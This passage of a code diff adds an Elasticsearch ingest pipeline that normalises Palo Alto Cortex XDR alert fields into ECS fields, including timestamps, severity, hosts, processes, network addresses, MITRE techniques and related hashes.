{{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - date: + field: panw_cortex.xdr.detection_timestamp + tag: date_panw_cortex.xdr.detection_timestamp + target_field: panw_cortex.xdr.detection_timestamp + formats: + - UNIX_MS + if: ctx.panw_cortex?.xdr?.detection_timestamp != null + on_failure: + - remove: + field: panw_cortex.xdr.detection_timestamp + ignore_missing: true + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: event.created + tag: set_event_created + copy_from: panw_cortex.xdr.detection_timestamp + ignore_empty_value: true + - date: + field: panw_cortex.xdr.end_match_attempt_ts + tag: date_panw_cortex.xdr.end_match_attempt_ts + target_field: panw_cortex.xdr.end_match_attempt_ts + formats: + - UNIX_MS + if: ctx.panw_cortex?.xdr?.end_match_attempt_ts != null + on_failure: + - remove: + field: panw_cortex.xdr.end_match_attempt_ts + ignore_missing: true + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - date: + field: panw_cortex.xdr.local_insert_ts + tag: date_panw_cortex.xdr.local_insert_ts + target_field: panw_cortex.xdr.local_insert_ts + formats: + - UNIX_MS + if: ctx.panw_cortex?.xdr?.local_insert_ts != null + on_failure: + - remove: + field: panw_cortex.xdr.local_insert_ts + ignore_missing: true + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - date: + field: panw_cortex.xdr.last_modified_ts + tag: date_panw_cortex.xdr.last_modified_ts + target_field: panw_cortex.xdr.last_modified_ts + formats: + - UNIX_MS + if: ctx.panw_cortex?.xdr?.last_modified_ts != null + on_failure: + - remove: + field: panw_cortex.xdr.last_modified_ts + ignore_missing: true + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: panw_cortex.xdr.name + tag: rename_panw_cortex.xdr.name + target_field: message + ignore_missing: true + - set: + field: event.severity + tag: set_event.severity_0 + value: 0 + if: ctx.panw_cortex?.xdr?.severity == "unknown" + - set: + field: event.severity + tag: set_event.severity_1 + value: 1 + if: ctx.panw_cortex?.xdr?.severity == "informational" + - set: + field: event.severity + tag: set_event.severity_2 + value: 2 + if: ctx.panw_cortex?.xdr?.severity == "low" + - set: + field: event.severity + tag: set_event.severity_3 + value: 3 + if: ctx.panw_cortex?.xdr?.severity == "medium" + - set: + field: event.severity + tag: set_event.severity_4 + value: 4 + if: ctx.panw_cortex?.xdr?.severity == "high" + - set: + field: event.id + tag: set_panw_cortex.xdr.external_id + copy_from: panw_cortex.xdr.external_id + ignore_empty_value: true + - rename: + field: panw_cortex.xdr.action + tag: rename_panw_cortex.xdr.action + target_field: event.action + ignore_missing: true + - rename: + field: panw_cortex.xdr.description + tag: rename_panw_cortex.xdr.description + target_field: event.reason + ignore_missing: true + if: ctx.panw_cortex?.xdr?.description instanceof String + - rename: + field: panw_cortex.xdr.description + tag: rename_panw_cortex.xdr.description + target_field: panw_cortex.xdr.bioc_description + ignore_missing: true + if: ctx.event?.reason == null && ctx.panw_cortex?.xdr?.description instanceof List + - set: + field: event.reason + tag: set_event.reason + value: Bioc Event + if: ctx.event?.reason == null && ctx.panw_cortex?.xdr?.bioc_description != null + - rename: + field: panw_cortex.xdr.agent_device_domain + tag: rename_panw_cortex.xdr.agent_device_domain + target_field: host.domain + ignore_missing: true + - rename: + field: panw_cortex.xdr.agent_fqdn + tag: rename_panw_cortex.xdr.agent_fqdn + target_field: host.hostname + ignore_missing: true + - rename: + field: panw_cortex.xdr.host_name + tag: rename_panw_cortex.xdr.host_name + target_field: host.hostname + ignore_missing: true + if: ctx.host?.hostname == null + - lowercase: + target_field: host.name + tag: lowercase_host.name + field: host.hostname + if: ctx.host?.hostname != null + - rename: + field: panw_cortex.xdr.agent_os_type + tag: rename_panw_cortex.xdr.agent_os_type + target_field: host.os.name + ignore_missing: true + - rename: + field: panw_cortex.xdr.agent_os_sub_type + tag: rename_panw_cortex.xdr.agent_os_sub_type + target_field: host.os.version + ignore_missing: true + - foreach: + field: panw_cortex.xdr.mac_addresses + tag: foreach_panw_cortex.xdr.mac_addresses + if: ctx.panw_cortex?.xdr?.mac_addresses instanceof List + processor: + append: + field: host.mac + tag: append_host_mac + value: '{{{_ingest._value}}}' + allow_duplicates: false + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - append: + field: host.mac + tag: append_host_mac + value: "{{{panw_cortex.xdr.mac_addresses}}}" + if: ctx.panw_cortex?.xdr?.mac_addresses instanceof String && ctx.panw_cortex.xdr.mac_addresses != '' + allow_duplicates: false + - gsub: + field: host.mac + tag: gsub_host.mac + ignore_missing: true + pattern: '[:.]' + replacement: '-' + - uppercase: + field: host.mac + tag: uppercase_host.mac + ignore_missing: true + - rename: + field: panw_cortex.xdr.host_ip + tag: rename_panw_cortex.xdr.host_ip + target_field: host.ip + ignore_missing: true + - convert: + field: panw_cortex.xdr.agent_ip_addresses_v6 + tag: convert_panw_cortex.xdr.agent_ip_addresses_v6 + target_field: panw_cortex.xdr.agent_ip_addresses_v6 + type: ip + ignore_missing: true + on_failure: + - remove: + field: panw_cortex.xdr.agent_ip_addresses_v6 + ignore_missing: true + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + field: panw_cortex.xdr.agent_ip_addresses_v6 + tag: foreach_panw_cortex.xdr.agent_ip_addresses_v6 + if: ctx.panw_cortex?.xdr?.agent_ip_addresses_v6 != null + processor: + append: + field: host.ip + tag: append_host_ip + value: '{{{_ingest._value}}}' + allow_duplicates: false + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: panw_cortex.xdr.endpoint_id + tag: rename_panw_cortex.xdr.endpoint_id + target_field: host.id + ignore_missing: true + - convert: + field: panw_cortex.xdr.agent_data_collection_status + tag: convert_panw_cortex.xdr.agent_data_collection_status + target_field: panw_cortex.xdr.agent_data_collection_status + type: boolean + ignore_missing: true + on_failure: + - remove: + field: panw_cortex.xdr.agent_data_collection_status + ignore_missing: true + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: panw_cortex.xdr.agent_is_vdi + tag: convert_panw_cortex.xdr.agent_is_vdi + target_field: panw_cortex.xdr.agent_is_vdi + type: boolean + ignore_missing: true + on_failure: + - remove: + field: panw_cortex.xdr.agent_is_vdi + ignore_missing: true + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: panw_cortex.xdr.dns_query_name + tag: rename_panw_cortex.xdr.dns_query_name + target_field: dns.question.name + ignore_missing: true + - rename: + field: panw_cortex.xdr.cloud_provider + tag: rename_panw_cortex.xdr.cloud_provider + target_field: cloud.provider + ignore_missing: true + - rename: + field: panw_cortex.xdr.container_id + tag: rename_panw_cortex.xdr.container_id + target_field: container.id + ignore_missing: true + - script: + if: ctx.panw_cortex?.xdr?.mitre_technique_id_and_name != null + lang: painless + tag: script_mitre_technique + description: "Extract Mitre Techniques and append it to Threat ECS fields" + source: |- + void addTechnique(def ctx, def x, def y) { + if (ctx.threat == null) { + ctx.threat = new HashMap(); + } + if (ctx.threat.technique == null) { + ctx.threat.technique = new HashMap(); + } + if (ctx.threat.technique.id == null) { + ctx.threat.technique.id = new ArrayList(); + } + if (ctx.threat.technique.name == null) { + ctx.threat.technique.name = new ArrayList(); + } + if (!ctx.threat.technique.id.contains(x)) { + ctx.threat.technique.id.add(x); + } + if (!ctx.threat.technique.name.contains(y)) { + ctx.threat.technique.name.add(y); + } + } + for (mitre_technique in ctx.panw_cortex.xdr.mitre_technique_id_and_name) { + addTechnique(ctx, mitre_technique.splitOnToken(' - ')[0], mitre_technique.splitOnToken(' - ')[1]); + } + - script: + if: ctx.panw_cortex?.xdr?.mitre_tactic_id_and_name != null + lang: painless + tag: script_mitre_tactic + description: "Extract Mitre Tactics and append it to Threat ECS fields" + source: |- + void addTactic(def ctx, def x, def y) { + if (ctx.threat == null) { + ctx.threat = new HashMap(); + } + if (ctx.threat.tactic == null) { + ctx.threat.tactic = new HashMap(); + } + if (ctx.threat.tactic.id == null) { + ctx.threat.tactic.id = new ArrayList(); + } + if (ctx.threat.tactic.name == null) { + ctx.threat.tactic.name = new ArrayList(); + } + if (!ctx.threat.tactic.id.contains(x)) { + ctx.threat.tactic.id.add(x); + } + if (!ctx.threat.tactic.name.contains(y)) { + ctx.threat.tactic.name.add(y); + } + } + for (mitre_tactic in ctx.panw_cortex.xdr.mitre_tactic_id_and_name) { + addTactic(ctx, mitre_tactic.splitOnToken(' - ')[0], mitre_tactic.splitOnToken(' - ')[1]); + } + - set: + field: threat.framework + tag: set_threat.framework + value: "MITRE ATT&CK" + if: ctx.threat?.technique != null || ctx.threat?.tactic != null + - convert: + field: panw_cortex.xdr.case_id + tag: convert_panw_cortex.xdr.case_id + target_field: panw_cortex.xdr.case_id + type: long + ignore_missing: true + on_failure: + - remove: + field: panw_cortex.xdr.case_id + ignore_missing: true + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + #The Action actor is an an activity that took place and was recorded by the agent. + - convert: + field: panw_cortex.xdr.action_remote_ip + tag: convert_panw_cortex.xdr.action_remote_ip + target_field: panw_cortex.xdr.action_remote_ip + type: ip + ignore_missing: true + on_failure: + - remove: + field: panw_cortex.xdr.action_remote_ip + ignore_missing: true + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + field: panw_cortex.xdr.action_remote_ip + tag: foreach_panw_cortex.xdr.action_remote_ip + description: v2 API returns action_remote_ip as List + if: ctx.panw_cortex?.xdr?.action_remote_ip instanceof List + processor: + append: + field: destination.ip + tag: append_destination.ip + value: '{{{_ingest._value}}}' + allow_duplicates: false + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: panw_cortex.xdr.action_remote_ip_v6 + tag: convert_panw_cortex.xdr.action_remote_ip_v6 + target_field: panw_cortex.xdr.action_remote_ip_v6 + type: ip + ignore_missing: true + on_failure: + - remove: + field: panw_cortex.xdr.action_remote_ip_v6 + ignore_missing: true + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + field: panw_cortex.xdr.action_remote_ip_v6 + tag: foreach_panw_cortex.xdr.action_remote_ip_v6 + description: v2 API returns action_remote_ip_v6 as List + if: ctx.panw_cortex?.xdr?.action_remote_ip_v6 instanceof List + processor: + append: + field: destination.ip + tag: append_destination.ip_v6 + value: '{{{_ingest._value}}}' + allow_duplicates: false + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: panw_cortex.xdr.action_remote_port + tag: convert_panw_cortex.xdr.action_remote_port + target_field: panw_cortex.xdr.action_remote_port + type: long + ignore_missing: true + on_failure: + - remove: + field: panw_cortex.xdr.action_remote_port + ignore_missing: true + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: destination.port + copy_from: panw_cortex.xdr.action_remote_port + ignore_empty_value: true + tag: set_destination.port + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: panw_cortex.xdr.action_local_ip + tag: convert_panw_cortex.xdr.action_local_ip + target_field: panw_cortex.xdr.action_local_ip + type: ip + ignore_missing: true + on_failure: + - remove: + field: panw_cortex.xdr.action_local_ip + ignore_missing: true + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + field: panw_cortex.xdr.action_local_ip + tag: foreach_panw_cortex.xdr.action_local_ip + description: v2 API returns action_local_ip as List + if: ctx.panw_cortex?.xdr?.action_local_ip instanceof List + processor: + append: + field: source.ip + tag: append_source.ip + value: '{{{_ingest._value}}}' + allow_duplicates: false + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: panw_cortex.xdr.action_local_ip_v6 + tag: convert_panw_cortex.xdr.action_local_ip_v6 + target_field: panw_cortex.xdr.action_local_ip_v6 + type: ip + ignore_missing: true + on_failure: + - remove: + field: panw_cortex.xdr.action_local_ip_v6 + ignore_missing: true + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + field: panw_cortex.xdr.action_local_ip_v6 + tag: foreach_panw_cortex.xdr.action_local_ip_v6 + description: v2 API returns action_local_ip_v6 as List + if: ctx.panw_cortex?.xdr?.action_local_ip_v6 instanceof List + processor: + append: + field: source.ip + tag: append_source.ip_v6 + value: '{{{_ingest._value}}}' + allow_duplicates: false + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: panw_cortex.xdr.action_local_port + tag: convert_panw_cortex.xdr.action_local_port + target_field: panw_cortex.xdr.action_local_port + type: long + ignore_missing: true + on_failure: + - remove: + field: panw_cortex.xdr.action_local_port + ignore_missing: true + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: source.port + copy_from: panw_cortex.xdr.action_local_port + ignore_empty_value: true + tag: set_source.port + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: panw_cortex.xdr.action_process_image_sha256 + tag: rename_panw_cortex.xdr.action_process_image_sha256 + target_field: process.hash.sha256 + ignore_missing: true + - rename: + field: panw_cortex.xdr.action_process_image_command_line + tag: rename_panw_cortex.xdr.action_process_image_command_line + target_field: process.command_line + ignore_missing: true + - rename: + field: panw_cortex.xdr.action_process_image_name + tag: rename_panw_cortex.xdr.action_process_image_name + target_field: process.name + ignore_missing: true + - rename: + field: panw_cortex.xdr.action_process_signature_vendor + tag: rename_panw_cortex.xdr.action_process_signature_vendor + target_field: process.code_signature.subject_name + ignore_missing: true + - rename: + field: panw_cortex.xdr.action_process_signature_status + tag: rename_panw_cortex.xdr.action_process_signature_status + target_field: process.code_signature.status + ignore_missing: true + - rename: + field: panw_cortex.xdr.action_process_instance_id + tag: rename_panw_cortex.xdr.action_process_instance_id + target_field: process.entity_id + ignore_missing: true + - rename: + field: panw_cortex.xdr.action_file_path + tag: rename_panw_cortex.xdr.action_file_path + target_field: file.path + ignore_missing: true + - rename: + field: panw_cortex.xdr.action_file_name + tag: rename_panw_cortex.xdr.action_file_name + target_field: file.name + ignore_missing: true + - rename: + field: panw_cortex.xdr.action_file_md5 + tag: rename_panw_cortex.xdr.action_file_md5 + target_field: file.hash.md5 + ignore_missing: true + - rename: + field: panw_cortex.xdr.action_file_sha256 + tag: rename_panw_cortex.xdr.action_file_sha256 + target_field: file.hash.sha256 + ignore_missing: true + - rename: + field: panw_cortex.xdr.action_registry_key_name + tag: rename_panw_cortex.xdr.action_registry_key_name + target_field: registry.key + ignore_missing: true + - rename: + field: panw_cortex.xdr.action_registry_value_name + tag: rename_panw_cortex.xdr.action_registry_value_name + target_field: registry.value + ignore_missing: true + - rename: + field: panw_cortex.xdr.action_registry_full_key + tag: rename_panw_cortex.xdr.action_registry_full_key + target_field: registry.path + ignore_missing: true + - rename: + field: panw_cortex.xdr.action_registry_data + tag: rename_panw_cortex.xdr.action_registry_data + target_field: registry.data.strings + ignore_missing: true + - set: + field: registry.data.strings + tag: set_registry.data.strings + value: ['{{{registry.data.strings}}}'] + if: ctx.registry?.data?.strings instanceof String + #The Actor actor is the process that performed the action. + - rename: + field: panw_cortex.xdr.actor_process_os_pid + tag: rename_panw_cortex.xdr.actor_process_os_pid + target_field: process.pid + ignore_missing: true + - rename: + field: panw_cortex.xdr.actor_process_instance_id + tag: rename_panw_cortex.xdr.actor_process_instance_id + target_field: process.entity_id + ignore_missing: true + if: ctx.process?.entity_id == null + - rename: + field: panw_cortex.xdr.actor_process_image_path + tag: rename_panw_cortex.xdr.actor_process_image_path + target_field: process.executable + ignore_missing: true + - rename: + field: panw_cortex.xdr.actor_process_command_line + tag: rename_panw_cortex.xdr.actor_process_command_line + target_field: process.command_line + ignore_missing: true + if: ctx.process?.command_line == null + - rename: + field: panw_cortex.xdr.actor_process_image_name + tag: rename_panw_cortex.xdr.actor_process_image_name + target_field: process.name + ignore_missing: true + if: ctx.process?.name == null + - rename: + field: panw_cortex.xdr.actor_process_signature_vendor + tag: rename_panw_cortex.xdr.actor_process_signature_vendor + target_field: process.code_signature.subject_name + ignore_missing: true + if: ctx.process?.code_signature?.subject_name == null + - rename: + field: panw_cortex.xdr.actor_process_image_sha256 + tag: rename_panw_cortex.xdr.actor_process_image_sha256 + target_field: process.hash.sha256 + ignore_missing: true + if: ctx.process?.hash?.sha256 == null + - rename: + field: panw_cortex.xdr.actor_process_image_md5 + tag: rename_panw_cortex.xdr.actor_process_image_md5 + target_field: process.hash.md5 + ignore_missing: true + - rename: + field: panw_cortex.xdr.actor_thread_thread_id + tag: rename_panw_cortex.xdr.actor_thread_thread_id + target_field: process.thread.id + ignore_missing: true + #The Causality actor—also referred to as the causality group owner (CGO)—is the parent process in the execution chain that the Cortex XDR agent identified as being responsible for initiating the process tree. + - rename: + field: panw_cortex.xdr.causality_actor_process_image_name + tag: rename_panw_cortex.xdr.causality_actor_process_image_name + target_field: process.parent.name + ignore_missing: true + - rename: + field: panw_cortex.xdr.causality_actor_process_image_path + tag: rename_panw_cortex.xdr.causality_actor_process_image_path + target_field: process.parent.executable + ignore_missing: true + - rename: + field: panw_cortex.xdr.causality_actor_process_image_md5 + tag: rename_panw_cortex.xdr.causality_actor_process_image_md5 + target_field: process.parent.hash.md5 + ignore_missing: true + - rename: + field: panw_cortex.xdr.causality_actor_process_image_sha256 + tag: rename_panw_cortex.xdr.causality_actor_process_image_sha256 + target_field: process.parent.hash.sha256 + ignore_missing: true + - rename: + field: panw_cortex.xdr.causality_actor_causality_id + tag: rename_panw_cortex.xdr.causality_actor_causality_id + target_field: process.parent.entity_id + ignore_missing: true + - rename: + field: panw_cortex.xdr.causality_actor_process_signature_vendor + tag: rename_panw_cortex.xdr.causality_actor_process_signature_vendor + target_field: process.parent.code_signature.subject_name + ignore_missing: true + - rename: + field: panw_cortex.xdr.causality_actor_process_signature_status + tag: rename_panw_cortex.xdr.causality_actor_process_signature_status + target_field: process.parent.code_signature.status + ignore_missing: true + - rename: + field: panw_cortex.xdr.causality_actor_process_command_line + tag: rename_panw_cortex.xdr.causality_actor_process_command_line + target_field: process.parent.command_line + ignore_missing: true + - rename: + field: panw_cortex.xdr.causality_actor_process_execution_time + tag: rename_panw_cortex.xdr.causality_actor_process_execution_time + target_field: process.parent.uptime + ignore_missing: true + # Parse user.domain from user.name + - grok: + field: panw_cortex.xdr.user_name.0 + tag: grok_panw_cortex.xdr.user_name.0 + ignore_missing: true + patterns: + - '^%{DATA:user.domain}\\\\%{DATA:user.name}$' + - '^%{DATA:user.domain}\\%{DATA:user.name}$' + - '^%{DATA:user.name}@%{DATA:user.domain}$' + - '^%{DATA:user.name}$' + if: ctx.panw_cortex?.xdr?.user_name instanceof List + - set: + field: user.email + tag: set_user.email + copy_from: panw_cortex.xdr.user_name + if: ctx.panw_cortex?.xdr?.user_name instanceof List && ctx.panw_cortex?.xdr?.user_name.size() > 0 && ctx.panw_cortex.xdr.user_name.0.contains('@') && ctx.panw_cortex.xdr.user_name.0.contains('.') + - set: + field: user.id + tag: set_user.id + copy_from: panw_cortex.xdr.user_name + if: ctx.panw_cortex?.xdr?.user_name instanceof List && ctx.panw_cortex?.xdr?.user_name.size() > 0 && ctx.panw_cortex.xdr.user_name.0.contains('@') && ctx.panw_cortex.xdr.user_name.0.contains('.') + - set: + field: source.user + tag: set_source.user + copy_from: user + ignore_empty_value: true + - rename: + field: panw_cortex.xdr.fw_rule + tag: rename_panw_cortex.xdr.fw_rule + target_field: rule.name + ignore_missing: true + - rename: + field: panw_cortex.xdr.fw_rule_id + tag: rename_panw_cortex.xdr.fw_rule_id + target_field: rule.id + ignore_missing: true + - rename: + field: panw_cortex.xdr.fw_interface_from + tag: rename_panw_cortex.xdr.fw_interface_from + target_field: observer.ingress.interface.name + ignore_missing: true + - rename: + field: panw_cortex.xdr.fw_interface_to + tag: rename_panw_cortex.xdr.fw_interface_to + target_field: observer.egress.interface.name + ignore_missing: true + - rename: + field: panw_cortex.xdr.fw_serial_number + tag: rename_panw_cortex.xdr.fw_serial_number + target_field: observer.serial_number + ignore_missing: true + - convert: + field: panw_cortex.xdr.filter_rule_id + tag: convert_panw_cortex.xdr.filter_rule_id + target_field: panw_cortex.xdr.filter_rule_id + type: string + description: Consistenly make filter_rule_id as keyword + ignore_missing: true + on_failure: + - remove: + field: panw_cortex.xdr.filter_rule_id + ignore_missing: true + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: email.subject + tag: set_email.subject + copy_from: panw_cortex.xdr.fw_email_subject + if: ctx.panw_cortex?.xdr?.fw_email_subject instanceof String + - foreach: + field: panw_cortex.xdr.fw_email_subject + tag: foreach_panw_cortex.xdr.fw_email_subject + if: ctx.panw_cortex?.xdr?.fw_email_subject instanceof List + processor: + append: + field: email.subject + value: '{{{_ingest._value}}}' + allow_duplicates: false + - append: + field: email.from.address + tag: append_email.from.address + value: "{{{panw_cortex.xdr.fw_email_sender}}}" + if: ctx.panw_cortex?.xdr?.fw_email_sender instanceof String + allow_duplicates: false + - foreach: + field: panw_cortex.xdr.fw_email_sender + tag: foreach_panw_cortex.xdr.fw_email_sender + if: ctx.panw_cortex?.xdr?.fw_email_sender instanceof List + processor: + append: + field: email.from.address + value: '{{{_ingest._value}}}' + allow_duplicates: false + - append: + field: email.to.address + tag: append_email.to.address + value: "{{{panw_cortex.xdr.fw_email_recipient}}}" + if: ctx.panw_cortex?.xdr?.fw_email_recipient instanceof String + allow_duplicates: false + - foreach: + field: panw_cortex.xdr.fw_email_recipient + tag: foreach_panw_cortex.xdr.fw_email_recipient + if: ctx.panw_cortex?.xdr?.fw_email_recipient instanceof List + processor: + append: + field: email.to.address + value: '{{{_ingest._value}}}' + allow_duplicates: false + - geoip: + field: source.ip + tag: geoip_source.ip + target_field: source.geo + ignore_missing: true + - geoip: + field: destination.ip + tag: geoip_destination.ip + target_field: destination.geo + ignore_missing: true + - geoip: + database_file: GeoLite2-ASN.mmdb + field: source.ip + tag: geoip_source.ip_source.as + target_field: source.as + properties: + - asn + - organization_name + ignore_missing: true + - geoip: + database_file: GeoLite2-ASN.mmdb + field: destination.ip + tag: geoip_destination.ip_destination.as + target_field: destination.as + properties: + - asn + - organization_name + ignore_missing: true + - rename: + field: source.as.asn + tag: rename_source.as.asn + target_field: source.as.number + ignore_missing: true + - rename: + field: source.as.organization_name + tag: rename_source.as.organization_name + target_field: source.as.organization.name + ignore_missing: true + - rename: + field: destination.as.asn + tag: rename_destination.as.asn + target_field: destination.as.number + ignore_missing: true + - rename: + field: destination.as.organization_name + tag: rename_destination.as.organization_name + target_field: destination.as.organization.name + ignore_missing: true + - append: + field: related.hash + tag: append_related.hash + value: "{{{process.parent.hash.md5}}}" + allow_duplicates: false + if: ctx.process?.parent?.hash?.md5 instanceof String + - foreach: + field: process.parent.hash.md5 + tag: foreach_process.parent.hash.md5 + if: ctx.process?.parent?.hash?.md5 instanceof List + processor: + append: + field: related.hash + value: '{{{_ingest._value}}}' + allow_duplicates: false + - append: + field: related.hash + tag: append_related.hash + value: "{{{process.parent.hash.sha256}}}" + allow_duplicates: false + if: ctx.process?.parent?.hash?.sha256 instanceof String + - foreach: + field: process.parent.hash.sha256 + tag: foreach_process.parent.hash.sha256 + if: ctx.process?.parent?.hash?.sha256 instanceof List + processor: + append: + field: related.hash + value: '{{{_ingest._value}}}' + allow_duplicates: false + - append: + field: related.hash + tag: append_related.hash + value: "{{{process.hash.md5}}}" + allow_duplicates: false + if: ctx.process?.hash?.md5 instanceof String + - foreach: + field: process.hash.md5 + tag: foreach_process.hash.md5 + if: ctx.process?.hash?.md5 instanceof List + processor: + append: + field: related.hash + value: '{{{_ingest._value}}}' + allow_duplicates: false + - append: + field: related.hash + tag: append_related.hash + value: "{{{process.hash.sha256}}}" + allow_duplicates: false + if: ctx.process?.hash?.sha256 instanceof String + - foreach: + field: process.hash.sha256 + tag: foreach_process.hash.sha256 + if: ctx.process?.hash?.sha256 instanceof List + processor: + append: + field: related.hash + value: '{{{_ingest._value}}}' + allow_duplicates: false + - append: + field: related.hash + tag: append_related.hash + value: "{{{file.hash.sha256}}}" + allow_duplicates: false + if: ctx.file?.hash?.sha256 instanceof String + - foreach: + field: file.hash.sha256 + tag: foreach_file.hash.sha256 + if: ctx.file?.hash?.sha256 instanceof List + processor: + append: + field: related.hash + value: '{{{_ingest._value}}}' + allow_duplicates: false + - append: + field: related.hash + tag: append_related.hash + value: "{{{file.hash.md5}}}" + allow_duplicates: false + if: ctx.file?.hash?.md5 != null + - foreach: + field: file.hash.md5 + tag: foreach_file.hash.md5 + if: ctx.file?.hash?.md5 instanceof List + processor: + append: + field: related.hash + value: '{{{_ingest._value}}}' + allow_duplicates: false + - append: + field: related.user + tag: append_related.user + value: "{{{user.name}}}" + allow_duplicates: false + if: ctx.user?.name != null + - foreach: + field: panw_cortex.xdr.tags + tag: foreach_panw_cortex.xdr.tags + if: ctx.panw_cortex?.xdr?.tags != null + processor: + append: + field: tags + value: '{{{_ingest._value}}}' + allow_duplicates: false + - remove: + field: + - _conf + ignore_missing: true + tag: remove_fields + - remove: + field: + - panw_cortex.xdr.detection_timestamp + - panw_cortex.xdr.event_timestamp + - panw_cortex.xdr.severity + - panw_cortex.xdr.action_remote_ip + - panw_cortex.xdr.action_remote_port + - panw_cortex.xdr.action_local_ip + - panw_cortex.xdr.action_local_port + - panw_cortex.xdr.bioc_indicator + - panw_cortex.xdr.tags + - panw_cortex.xdr.mitre_technique_id_and_name + - panw_cortex.xdr.mitre_tactic_id_and_name + - panw_cortex.xdr.fw_email_subject + - panw_cortex.xdr.fw_email_sender + - panw_cortex.xdr.fw_email_recipient + - panw_cortex.xdr.external_id + - panw_cortex.xdr.user_name + ignore_missing: true + if: ctx.tags == null || !ctx.tags.contains('preserve_duplicate_custom_fields') + +# Error handling +on_failure: + - set: + field: event.kind + tag: set_event.kind + value: pipeline_error + - append: + field: error.message + tag: append_error.message + value: >- + Processor '{{{ _ingest.on_failure_processor_type }}}' + {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}' + {{{/_ingest.on_failure_processor_tag}}}failed with message '{{{ _ingest.on_failure_message }}}' diff --git a/packages/panw_cortex_xdr/data_stream/alerts/fields/fields.yml 